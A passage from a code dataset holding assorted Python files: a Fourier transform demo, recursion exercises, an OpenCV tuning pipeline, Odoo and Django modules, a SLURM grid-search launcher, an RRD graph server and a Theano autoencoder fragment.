config.json.\")\n \n\nif __name__ == \"__main__\":\n try:\n config_file = open('config.json', 'r')\n config = json.load(config_file)\n config_file.close()\n dashboard = Dashboard()\n newsfeed = Newsfeed()\n app.run(config[\"server\"][\"host\"], config[\"server\"][\"port\"])\n except IOError as error:\n print(\"Error : could not found config.json.\")\n print(\"Message : generating config...\")\n generate_config()\n except KeyError as error:\n print(\"Error : incorrect name. please check your config.json file.\")\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"312749475","text":"'''\nfourier transform\n\n입력 신호를 보고 숨겨진 주파수를 찾아라.\nsin, cos으로 구성된 신호, 주파수와 진폭을 어떻게 구하는가.\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nfmax=1000 # 찾을 최대 주파수\ndt = 1/fmax # 샘플링 주기. 0.001 sec.\nN = fmax # 샘플 개수.\n\n# 샘플 시각\nt = np.arange(0, N)*dt # 0~2초를 균일하게 2000개로 나눔.\n# original signal ; 60Hz, 120Hz 사용.\ns = 0.8*np.sin(2*np.pi*80*t)-0.4*np.cos(2*np.pi*80*t)\\\n +0.3*np.sin(2*np.pi*250*t)+0.3*np.cos(2*np.pi*250*t)\n\n# detect signal ; noise added 노이즈가 추가된 신호. x\n# x = s + 0.8*np.random.randn(N)\nx = s + 0.1*np.random.randn(N)\n\nplt.subplot(3,1,1)\nplt.plot(t[0:200], s[0:200], label='signal')\nplt.plot(t[0:200], x[0:200], label='x')\nplt.legend()\nplt.xlabel('time'), plt.ylabel('x(t)'), plt.grid()\n# plt.show()\n\n# fourier spectrum...\ndf = fmax/N\nf = np.arange(0,N)*df # 1Hz 2Hz, ... ,fmax Hz.\nxf = np.fft.fft(x)/N\n\nplt.subplot(3,1,2)\ncnt = fmax\nplt.plot(f[0:cnt], np.abs(xf[0:cnt]))\nplt.xlabel('freq(Hz)'), plt.ylabel('abs(xf)'), plt.grid()\n# plt.show()\n\n# 퓨리에 스펙트럼에서 peak를 치는 곳의 주파수 성분들을 사용하면 된다.\n\n# get Top N\nprint('f=', f)\nxf2 = np.abs(xf[0:cnt])\n# print('xf2=', xf2)\n# print('xf mean=', np.mean(xf2))\n# print('sort=', -np.sort(-xf2))\nrankidx = np.argsort(-xf2)\n# print(rankidx)\nfor i in range(4):\n # print(i, rank[i])\n print(f[rankidx[i]], xf2[rankidx[i]])\n\n# draw by fft top.\nplt.subplot(3,1,3)\n# t 0~200\nyf = np.zeros((N,))\nfor i in range(4):\n freq = f[rankidx[i]]\n amp = xf2[rankidx[i]]\n print('freq, and amp = ', freq, amp, xf[rankidx[i]])\n amp1 = xf[rankidx[i]].real\n amp2 = xf[rankidx[i]].imag\n print(xf[rankidx[i]])\n # real은 cos\n # imagine은 sin 인데, 부호는 반대로 한다.\n amp2 = amp2 * -1\n yf += amp1*np.cos(2*np.pi*freq*t)+amp2*np.sin(2*np.pi*freq*t)\n\nplt.plot(t[0:200], s[0:200], label='signal')\nplt.plot(t[0:200], yf[0:200], label='fft')\nplt.legend()\nplt.show()\n\n","sub_path":"math/fourier04_2.py","file_name":"fourier04_2.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"331452444","text":"def fact(n):\n\tif n==1:\n\t\treturn 1\n\treturn n*fact(n-1)\nn = input('请输入n:')\nn = int(n)\nprint(fact(n))\n\n\n# 利用递归函数移动汉诺塔:\ndef move(n, a, b, c):\n if n == 1:\n print('move', a, '-->', c)\n else:\n move(n-1, a, c, b)\n move(1, a, b, c)\n move(n-1, b, a, c)\n\nmove(2, 'A', 'B', 'C')","sub_path":"fact.py","file_name":"fact.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"540361405","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2016 Carolina Aguilar\n# Copyright (C) 2016 Carlos Jenkins\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nID optical recognition pipeline based on OpenCV and Tesseract.\n\"\"\"\n\nfrom __future__ import unicode_literals, absolute_import\nfrom __future__ import print_function, division\n\nimport cv2\nimport logging\nfrom abc import ABCMeta, abstractmethod\nfrom traceback import format_exc\n\nfrom six import add_metaclass\n\n\nlog = logging.getLogger(__name__)\n\n\n@add_metaclass(ABCMeta)\nclass TunnablePipeline(object):\n\n ESCAPE_KEY = ord('\\x1b')\n DELTA_KEY = ord('-')\n\n def __init__(self):\n\n # Global delta for tunnable parameters modification\n self._delta = 1\n\n # Mapping between the tunnable parameter and it's output\n self._tune = {}\n\n # Mapping between a key and the tunnable parameter\n self._keys_map = {}\n\n # Boolean that enables the pipeline execution\n self._execute_pipeline = True\n\n def register_tunnable(self, name, initial_value, tunning_key):\n\n if name in self._tune:\n raise Exception(\n 'Name \"{}\" already registered'.format(name)\n )\n\n key_code = ord(tunning_key)\n if key_code in self._keys_map:\n raise Exception(\n 'Tunning key \"{}\" already registered'.format(tunning_key)\n )\n\n self._tune[name] = initial_value\n self._keys_map[key_code] = name\n\n def get_tunnable(self, name):\n return self._tune[name]\n\n def handle_keys(self):\n \"\"\"\n Handle keys commands:\n\n - Press ESC to exit.\n - Press - to change delta for tunning (between +1 and -1)\n - Press any of the tunning parameters keys to modify that parameter.\n \"\"\"\n key = cv2.waitKey(1)\n if key < 0:\n return True\n key &= 0xFF\n\n if key == self.ESCAPE_KEY:\n return False\n\n if key == self.DELTA_KEY:\n self._delta *= -1\n log.info('Delta changed to: {}'.format(self._delta))\n return True\n\n if key in self._keys_map:\n self._tune[self._keys_map[key]] += self._delta\n log.info(\n 'New values for tunning parameters:\\n{}'.format(\n self._tune\n )\n )\n self._execute_pipeline = True\n return True\n\n log.debug('Unknown key pressed: {} ({})'.format(chr(key), key))\n return True\n\n @abstractmethod\n def run(self):\n pass\n\n @abstractmethod\n def pipeline(self, frame):\n pass\n\n\nclass TunnableVideo(TunnablePipeline):\n\n def run(self):\n\n camera = None\n try:\n # Open camera\n camera = cv2.VideoCapture(0)\n\n keep_running = True\n while keep_running:\n\n # Read frame\n success, frame = camera.read()\n if not success:\n raise Exception('Failed to read from camera')\n\n # Execute pipeline\n if self._execute_pipeline:\n try:\n self.pipeline(frame)\n except:\n self._execute_pipeline = False\n log.error('Pipeline crashed :(')\n log.debug(format_exc())\n\n # Display error to the user\n cv2.putText(\n frame,\n 'Pipeline crashed :(',\n (30, 30), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 255)\n )\n cv2.imshow('frame', frame)\n\n # Handle command keys\n keep_running = self.handle_keys()\n\n finally:\n if camera is not None:\n camera.release()\n cv2.destroyAllWindows()\n\n\nclass IdCardPipeline(TunnableVideo):\n\n def __init__(self):\n super(IdCardPipeline, self).__init__()\n\n tunnables = [\n # Adaptive threshol\n ('adaptive_c', 40, 'c'),\n ('adaptive_block_size', 75, 'b'),\n # Gaussian blu, # Gaussi\n ('gaussian_kernel_width', 3, 'w'),\n ('gaussian_kernel_height', 3, 'h'),\n ('gaussian_deviation_x', 0, 'x'),\n ('gaussian_deviation_y', -10, 'y'),\n ]\n\n for tunnable in tunnables:\n self.register_tunnable(*tunnable)\n\n def pipeline(self, frame):\n tn = self.get_tunnable\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n adaptive = cv2.adaptiveThreshold(\n gray,\n # maxValue: Non-zero value assigned to the pixels for which\n # the condition is satisfied\n 255,\n cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv2.THRESH_BINARY,\n # blockSize: Size of a pixel neighborhood that is used to\n # calculate a threshold value for the pixel: 3, 5, 7, and\n # so on.\n tn('adaptive_block_size'),\n # C: Constant subtracted from the mean or weighted mean.\n # Normally, it is positive but may be zero or negative as\n # well.\n tn('adaptive_c'),\n )\n blur = cv2.GaussianBlur(\n adaptive,\n # ksize: sigmaX: Gaussian kernel size. ksize.width and\n # ksize.height can differ but they both must be positive and\n # odd. Or, thesigmaY: y can be zero's and then they are\n # computed from sigma.\n (\n tn('gaussian_kernel_width'),\n tn('gaussian_kernel_height')\n ),\n # sigmaX: Gaussian kernel standard deviation in X direction.\n tn('gaussian_deviation_x'),\n # sigmaY: Gaussian kernel standard deviation in Y direction;\n # if sigmaY is zero, it is set to be equal to sigmaX,\n # if both sigmas are zeros, they are computed from\n # ksize.width and ksize.height, respectively\n # tunning_parameters['gaussian_deviation_y']\n )\n\n cv2.imshow('frame', frame)\n cv2.imshow('gray', gray)\n cv2.imshow('adaptive', adaptive)\n cv2.imshow('blur', blur)\n\n\nFORMAT = '%(asctime)s:::%(levelname)s:::%(message)s'\nLEVELS = {\n 0: logging.ERROR,\n 1: logging.WARNING,\n 2: logging.INFO,\n 3: logging.DEBUG,\n}\nLEVEL = 3\n\n\nif __name__ == '__main__':\n logging.basicConfig(format=FORMAT, level=LEVELS[LEVEL])\n pipeline = IdCardPipeline()\n pipeline.run()\n","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":7053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"377097307","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Copyright (C) 2016 Pharmadus. All Rights Reserved\n# $Óscar Salvador $\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom openerp import models, fields, api\n\n\nclass StockLocation(models.Model):\n _inherit = 'stock.location'\n\n finished_product_location = fields.Boolean('Is a finished product location?',\n default=False)\n\n\nclass StockPickingType(models.Model):\n _inherit = 'stock.picking.type'\n\n product_drop_default = fields.Boolean('Default picking type for product drop?',\n default=False)\n\n @api.one\n def check_only_one_product_drop(self):\n # Only one can be active in each warehouse\n picking_types = self.search([\n ('warehouse_id', '=', self.warehouse_id.id),\n ('code', '=', 'internal'),\n ('product_drop_default', '=', True),\n ('id', '<>', self.id)\n ])\n for pt in picking_types:\n pt.product_drop_default = False\n\n @api.model\n def create(self, vals):\n res = super(StockPickingType, self).create(vals)\n\n if res and res.product_drop_default:\n res.check_only_one_product_drop()\n\n return res\n\n @api.multi\n def write(self, vals):\n res = super(StockPickingType, self).write(vals)\n\n if vals.get('product_drop_default', False):\n for pt in self:\n pt.check_only_one_product_drop()\n\n return res","sub_path":"project-addons/product_drop/models/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"426343039","text":"def create_model(opt):\n model = opt['model']\n\n if model == 'sr':\n from .SR_model import SRModel as M\n elif model == 'srgan':\n from .SRGAN_model import SRGANModel as M\n elif model == 'sftgan':\n from .SFTGAN_ACD_model import SFTGAN_ACD_Model as M\n else:\n raise NotImplementedError('Model [%s] not recognized.' % model)\n m = M(opt)\n print('Model [%s] is created.' % m.__class__.__name__)\n return m\n","sub_path":"codes/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"519031881","text":"import os\nimport shutil\nfrom subprocess import Popen, check_output\nimport time\n\npartitions = [\"students\", \"gpulong\"] # order == priority\njobbers = {0:\"studentsgo\", 1: \"longgo\"} # sbatch creator for each partition\n\nme = check_output([\"whoami\"])[:-1].decode(\"utf-8\") # only worx when nobody else has koss in their name <3\nshellext = \".sh\"\n\ndef wait_for_green_light(partitions=partitions, my_jobs_per_partition=[2,6], update=10):\n \"\"\" waits until my squeue has a place\"\"\"\n\n while True:\n\n print(f\"Waiting for another {update} seconds to check if there's an opening on any of: {partitions}\")\n\n time.sleep(update)\n\n partition_with_slot = -1\n\n sq = str(check_output([\"squeue\"])).split(\"\\\\n\")\n for i, part in enumerate(partitions):\n\n # check if partition is empty enough\n allowed_num_jobs_here = my_jobs_per_partition[i]\n\n part_sq = [ job for job in sq if len(job.split()) > 5 and part in job.split()[1] ]\n my_part_sq = [ job for job in part_sq if len(job.split()) > 5 and me in job.split()[3] ] # relies on job name not having whitespace ! FIXME\n \n if len(my_part_sq) < allowed_num_jobs_here:\n partition_with_slot = i\n break\n\n if partition_with_slot != -1:\n return partition_with_slot\n\ndef main(args):\n dry = \"dry\" in args\n clean = \"clean\" in args\n\n search_space = {}\n search_space[\"hops\"] = [(\"k_hops\",), \\\n [(1,),(2,),(3,)]]\n search_space[\"feed\"] = [(\"kb_input_feeding\",\"kb_feed_rnn\"),\\\n [(False, False), (True, False), (True, True)]]\n search_space[\"enc\"] = [(\"kb_max_dims\",\"posEncKBkeys\"),\\\n [([256], False), ([16,32], False), ([256],True)]]\n\n\n architectures = [\"rnn\"] # remember to add if case for tfstyletf\n init = \"GridInit\"\n path = \"configs/kvr/grid/\"\n ext = \".yaml\"\n models = \"modelsgrid/\"\n\n architecture = architectures[0] # for the moment: only do gridsearch for RNN\n _arch_cfg = architecture + init + ext \n arch_config = path + _arch_cfg\n \n if clean:\n # to clean all configs from /configs/kvr/grid/\n _tf_cfg = \"tf\"+init+ext\n tmp = path+\"tmp/\"\n if not os.path.isdir(tmp):\n os.mkdir(tmp)\n for main_cfg in [ _arch_cfg, _tf_cfg ]:\n if os.path.isfile(path+main_cfg):\n shutil.move(path+main_cfg, tmp+main_cfg)\n else:\n assert os.path.isfile(tmp+main_cfg), f\"init config '{main_cfg}' found in neither of {path} or {tmp}\"\n Popen(\"rm \"+path+\"*\", shell=True ).wait() # remove all generated configs\n for main_cfg in [ _arch_cfg, _tf_cfg ]:\n shutil.move(tmp+main_cfg, path+main_cfg)\n os.rmdir(tmp)\n exit(\"Cleaned all grid configs from \"+path)\n\n for k in search_space[\"hops\"][1]:\n for false_ff_rnn in search_space[\"feed\"][1]:\n for oneD_twoD_pos in search_space[\"enc\"][1]:\n\n gridcombo = architecture+str(k[0])+str(int(false_ff_rnn[0]))+str(int(false_ff_rnn[1]))+\"x\"+\"x\".join([str(dim) for dim in oneD_twoD_pos[0]])+\"x\"+str(int(oneD_twoD_pos[1]))\n\n new_cfg = path+gridcombo+ext\n\n ### check if model directory exists; if yes then continue ###\n existing_models = str(check_output([\"ls\", models])).split(\"\\\\n\")\n\n skip_job = False\n for model in existing_models:\n if gridcombo in model:\n skip_job = True\n break\n if skip_job: continue\n ### end check ###\n \n if not dry:\n free_partition = wait_for_green_light()\n\n Popen([f\"cp {arch_config} {new_cfg}\"], shell=True).wait() # copy the default config for this architecture into a new one\n assert os.path.isfile(new_cfg), (os.listdir(path), arch_config, new_cfg) # confirm the copying worked lol\n\n # k_hops, kb_input_feeding, kb_feed_rnn, kb_max_dims, posEncKBkeys\n cfg_param_valuations = {}\n\n for dimension, options in [(\"hops\", k), (\"feed\", false_ff_rnn), (\"enc\", oneD_twoD_pos)]:\n cfg_params_dim = search_space[dimension][0]\n for i, p in enumerate(cfg_params_dim):\n cfg_param_valuations[p] = options[i]\n\n for param, setting in cfg_param_valuations.items():\n\n param_regex_replace = f\"s/{param}: [^#]*#/{param}: {setting} #/g\"\n Popen('sed -i '+f'\\\"{param_regex_replace}\\\" '+new_cfg, shell=True).wait()\n \n \n Popen(\"cat \"+ new_cfg, shell=True).wait() # REMOVE THIS\n\n if not dry:\n Popen(f\"./{jobbers[free_partition]+shellext} {gridcombo}\",shell=True).wait()\n\nif __name__ == \"__main__\":\n import sys\n if len(sys.argv) > 1:\n sys.exit(main(sys.argv[1:]))\n else:\n main([])\n","sub_path":"gridsearch.py","file_name":"gridsearch.py","file_ext":"py","file_size_in_byte":5125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"511984384","text":"'''\nCreated on Jan 5, 2014\n\n@author: nelson\n'''\nfrom django import forms\n\n\nclass Input_trad(forms.Form):\n frase = forms.CharField(widget=forms.Textarea(\n attrs={\n 'class':'text',\n 'rows':5, \n 'cols':50,\n 'wrap':'SOFT',\n 'style':'overflow: hidden; resize:none; height: 187px;',\n 'placeholder':'Insira texto'}), \n required=True)\n resultado = forms.CharField(max_length=200, widget=forms.Textarea(\n attrs={\n 'rows':5, \n 'cols':50, \n 'placeholder':'Texto traduzido'}),\n required=False)\n \n #CHOICES = ('pten', 'enpt', 'ptcn') \n #lingua = forms.ChoiceField(widget=forms.RadioSelect, choices=CHOICES)\n\n \nclass ShowBest(forms.Form):\n #best_trans = forms.ChoiceField(max_length=100)\n escolhida = forms.ChoiceField(widget=forms.Select)\n ","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"401363189","text":"# Copyright 2011-2013 GRNET S.A. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials\n# provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY GRNET S.A. ``AS IS'' AND ANY EXPRESS\n# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GRNET S.A OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# The views and conclusions contained in the software and\n# documentation are those of the authors and should not be\n# interpreted as representing official policies, either expressed\n# or implied, of GRNET S.A.\n\nfrom django.http import HttpResponse\n\nimport gd\nimport os\n\nfrom cStringIO import StringIO\n\nimport rrdtool\n\nfrom Crypto.Cipher import AES\nfrom base64 import urlsafe_b64decode\nfrom hashlib import sha256\n\nfrom synnefo_stats import settings\n\nfrom synnefo.util.text import uenc\nfrom snf_django.lib.api import faults, api_method\n\nfrom logging import getLogger\nlog = getLogger(__name__)\n\n\ndef read_file(filepath):\n f = open(filepath, \"r\")\n\n try:\n data = f.read()\n finally:\n f.close()\n\n return data\n\n\ndef draw_cpu_bar(fname, outfname=None):\n fname = os.path.join(fname, \"cpu\", \"virt_cpu_total.rrd\")\n\n try:\n values = rrdtool.fetch(fname, \"AVERAGE\")[2][-20:]\n except rrdtool.error:\n values = [(0.0, )]\n\n v = [x[0] for x in values if x[0] is not None]\n if not v:\n # Fallback in case we only get NaNs\n v = [0.0]\n # Pick the last value\n value = v[-1]\n\n image = gd.image((settings.IMAGE_WIDTH, settings.HEIGHT))\n\n border_color = image.colorAllocate(settings.BAR_BORDER_COLOR)\n white = image.colorAllocate((0xff, 0xff, 0xff))\n background_color = image.colorAllocate(settings.BAR_BG_COLOR)\n\n if value >= 90.0:\n line_color = image.colorAllocate((0xff, 0x00, 0x00))\n elif value >= 75.0:\n line_color = image.colorAllocate((0xda, 0xaa, 0x00))\n else:\n line_color = image.colorAllocate((0x00, 0xa1, 0x00))\n\n image.rectangle((0, 0),\n (settings.WIDTH - 1, settings.HEIGHT - 1),\n border_color, background_color)\n image.rectangle((1, 1),\n (int(value / 100.0 * (settings.WIDTH - 2)),\n settings.HEIGHT - 2),\n line_color, line_color)\n image.string_ttf(settings.FONT, 8.0, 0.0,\n (settings.WIDTH + 1, settings.HEIGHT - 1),\n \"CPU: %.1f%%\" % value, white)\n\n io = StringIO()\n image.writePng(io)\n io.seek(0)\n data = io.getvalue()\n io.close()\n return data\n\n\ndef draw_net_bar(fname, outfname=None):\n fname = os.path.join(fname, \"interface\", \"if_octets-eth0.rrd\")\n\n try:\n values = rrdtool.fetch(fname, \"AVERAGE\")[2][-20:]\n except rrdtool.error:\n values = [(0.0, 0.0)]\n\n v = [x for x in values if x[0] is not None and x[1] is not None]\n if not v:\n # Fallback in case we only get NaNs\n v = [(0.0, 0.0)]\n\n rx_value, tx_value = v[-1]\n\n # Convert to bits\n rx_value = rx_value * 8 / 10 ** 6\n tx_value = tx_value * 8 / 10 ** 6\n\n max_value = (int(max(rx_value, tx_value) / 50) + 1) * 50.0\n\n image = gd.image((settings.IMAGE_WIDTH, settings.HEIGHT))\n\n border_color = image.colorAllocate(settings.BAR_BORDER_COLOR)\n white = image.colorAllocate((0xff, 0xff, 0xff))\n background_color = image.colorAllocate(settings.BAR_BG_COLOR)\n\n tx_line_color = image.colorAllocate((0x00, 0xa1, 0x00))\n rx_line_color = image.colorAllocate((0x00, 0x00, 0xa1))\n\n image.rectangle((0, 0),\n (settings.WIDTH - 1, settings.HEIGHT - 1),\n border_color, background_color)\n image.rectangle((1, 1),\n (int(tx_value / max_value * (settings.WIDTH - 2)),\n settings.HEIGHT / 2 - 1),\n tx_line_color, tx_line_color)\n image.rectangle((1, settings.HEIGHT / 2),\n (int(rx_value / max_value * (settings.WIDTH - 2)),\n settings.HEIGHT - 2),\n rx_line_color, rx_line_color)\n image.string_ttf(settings.FONT, 8.0, 0.0,\n (settings.WIDTH + 1, settings.HEIGHT - 1),\n \"TX/RX: %.2f/%.2f Mbps\" % (tx_value, rx_value), white)\n\n io = StringIO()\n image.writePng(io)\n io.seek(0)\n data = io.getvalue()\n io.close()\n return data\n\n\ndef draw_cpu_ts(fname, outfname):\n fname = os.path.join(fname, \"cpu\", \"virt_cpu_total.rrd\")\n outfname += \"-cpu.png\"\n\n rrdtool.graph(outfname, \"-s\", \"-1d\", \"-e\", \"-20s\",\n #\"-t\", \"CPU usage\",\n \"-v\", \"%\",\n #\"--lazy\",\n \"DEF:cpu=%s:value:AVERAGE\" % fname,\n \"LINE1:cpu#00ff00:\")\n\n return read_file(outfname)\n\n\ndef draw_cpu_ts_w(fname, outfname):\n fname = os.path.join(fname, \"cpu\", \"virt_cpu_total.rrd\")\n outfname += \"-cpu-weekly.png\"\n\n rrdtool.graph(outfname, \"-s\", \"-1w\", \"-e\", \"-20s\",\n #\"-t\", \"CPU usage\",\n \"-v\", \"%\",\n #\"--lazy\",\n \"DEF:cpu=%s:value:AVERAGE\" % fname,\n \"LINE1:cpu#00ff00:\")\n\n return read_file(outfname)\n\n\ndef draw_net_ts(fname, outfname):\n fname = os.path.join(fname, \"interface\", \"if_octets-eth0.rrd\")\n outfname += \"-net.png\"\n\n rrdtool.graph(outfname, \"-s\", \"-1d\", \"-e\", \"-20s\",\n \"--units\", \"si\",\n \"-v\", \"Bits/s\",\n \"COMMENT:\\t\\t\\tAverage network traffic\\\\n\",\n \"DEF:rx=%s:rx:AVERAGE\" % fname,\n \"DEF:tx=%s:tx:AVERAGE\" % fname,\n \"CDEF:rxbits=rx,8,*\",\n \"CDEF:txbits=tx,8,*\",\n \"LINE1:rxbits#00ff00:Incoming\",\n \"GPRINT:rxbits:AVERAGE:\\t%4.0lf%sbps\\t\\g\",\n \"LINE1:txbits#0000ff:Outgoing\",\n \"GPRINT:txbits:AVERAGE:\\t%4.0lf%sbps\\\\n\")\n\n return read_file(outfname)\n\n\ndef draw_net_ts_w(fname, outfname):\n fname = os.path.join(fname, \"interface\", \"if_octets-eth0.rrd\")\n outfname += \"-net-weekly.png\"\n\n rrdtool.graph(outfname, \"-s\", \"-1w\", \"-e\", \"-20s\",\n \"--units\", \"si\",\n \"-v\", \"Bits/s\",\n \"COMMENT:\\t\\t\\tAverage network traffic\\\\n\",\n \"DEF:rx=%s:rx:AVERAGE\" % fname,\n \"DEF:tx=%s:tx:AVERAGE\" % fname,\n \"CDEF:rxbits=rx,8,*\",\n \"CDEF:txbits=tx,8,*\",\n \"LINE1:rxbits#00ff00:Incoming\",\n \"GPRINT:rxbits:AVERAGE:\\t%4.0lf%sbps\\t\\g\",\n \"LINE1:txbits#0000ff:Outgoing\",\n \"GPRINT:txbits:AVERAGE:\\t%4.0lf%sbps\\\\n\")\n\n return read_file(outfname)\n\n\ndef decrypt(secret):\n # Make sure key is 32 bytes long\n key = sha256(settings.STATS_SECRET_KEY).digest()\n\n aes = AES.new(key)\n return aes.decrypt(urlsafe_b64decode(secret)).rstrip('\\x00')\n\n\navailable_graph_types = {'cpu-bar': draw_cpu_bar,\n 'net-bar': draw_net_bar,\n 'cpu-ts': draw_cpu_ts,\n 'net-ts': draw_net_ts,\n 'cpu-ts-w': draw_cpu_ts_w,\n 'net-ts-w': draw_net_ts_w\n }\n\n\n@api_method(http_method='GET', token_required=False, user_required=False,\n format_allowed=False, logger=log)\ndef grapher(request, graph_type, hostname):\n try:\n hostname = decrypt(uenc(hostname))\n except (ValueError, TypeError):\n raise faults.BadRequest(\"Invalid encrypted virtual server name\")\n fname = uenc(os.path.join(settings.RRD_PREFIX, hostname))\n if not os.path.isdir(fname):\n raise faults.ItemNotFound('No such instance')\n\n outfname = uenc(os.path.join(settings.GRAPH_PREFIX, hostname))\n draw_func = available_graph_types[graph_type]\n\n response = HttpResponse(draw_func(fname, outfname),\n status=200, content_type=\"image/png\")\n response.override_serialization = True\n\n return response\n","sub_path":"snf-stats-app/synnefo_stats/grapher.py","file_name":"grapher.py","file_ext":"py","file_size_in_byte":8977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"302607561","text":"import pylab\n\ndef init():\n\tglobal times, prices\n\ttimes = []\n\tprices = []\n\tinit = 1\n\twith open(\"BHP.csv\", \"r\") as file:\n\t\tfor line in file:\n\t\t\tif(init == 1):\n\t\t\t\tinit = 0\n\t\t\t\tcontinue\n\t\t\tc = line.split(\",\")\n\t\t\ttime = c[0]\n\t\t\tprice = float(c[4])\n\t\t\ttimes.append(time)\n\t\t\tprices.append(price)\n\n\n\t\t\t\n\ndef observe():\n\tglobal times, prices\n\tpylab.subplot(2,1,1)\n\tpylab.plot(prices)\n\tmin_price = min(prices)\n\tmax_price = max(prices)\n\tpylab.ylim(min_price-10, max_price+10)\n\tpylab.xticks([])\n\tpylab.subplot(2,2,3)\t\n\tpylab.plot([1,2,3,4], [1,2,3,4])\n\tpylab.subplot(2,2,4)\n\tpylab.plot([1,2,3,4], [2,3,4,5])\n\tpylab.show()\n\ninit()\nobserve()\n","sub_path":"subplot_test.py","file_name":"subplot_test.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368771935","text":"'''\nCreated on Apr 16, 2017\n\n@author: tianyu\n'''\nimport time\nimport Layer\nimport theano\nimport numpy as np\nimport numpy.random as rng\nimport theano.tensor as T\nimport theano.tensor.nnet as nn\nimport theano.tensor.nlinalg as nlg\nimport theano.sparse.basic as S\nimport theano.sparse\nimport scipy.sparse as sp\nimport Datasets\n\ndef quickMul(a,b):\n li = np.transpose(np.nonzero(a))\n rows = []\n columns = []\n data = []\n size = theano.sparse.basic.csm_shape(a)[0].eval()\n for i in li:\n row = i[0]\n column = i[1]\n rows.append(row)\n columns.append(column)\n data.append(a[row,column]*b[row,column])\n return sp.csr_matrix((data,(rows,columns)), shape=(size, size))\n\nclass SmoothAE(object):\n \n def __init__(self, inputSize, learningRule = None, costFunction = None):\n \"\"\"Initialize the parameters for the Smooth Auto Encoder\n\n :type inputData: theano.tensor.TensorType\n :param inputData: symbolic variable that describes the input of the\n architecture (one minibatch)\n\n \"\"\"\n \n \"\"\" Hyper-parameters \"\"\"\n # Sub-space dimension \n self._k = 3\n \n # Learning rate\n self._eta = 5e-1\n self._eta_increase_ratio = 1.2\n self._eta_max = 1e-1\n \n # Regularization penalty\n self._lamb = 1e-1\n \n # epoch num\n self._epochNum = 0\n \n \"\"\" Initalize \"\"\"\n self._inputNum = inputSize\n \n # user define grad because auto generated grad not working correctly\n # grad of relu\n d_relu = lambda x: np.greater_equal(x,0)*1.\n \n sig = lambda x: 1/(1+np.exp(-x))\n \n def d_sig(x):\n tmp = sig(x)\n return tmp * (1 - tmp)\n \n # Layers\n self._smoothLayer = Layer.Layer(nodeNum = self._inputNum)\n self._contextLayer = Layer.Layer(nodeNum = self._inputNum)\n self._contextLayer.setAverageOut(S.structured_dot(T.as_tensor_variable([rng.rand(self._inputNum)]),Datasets.W).eval()[0])\n self._wmatrixLayer = Layer.Layer(nodeNum = self._k, activation = nn.relu, grad = 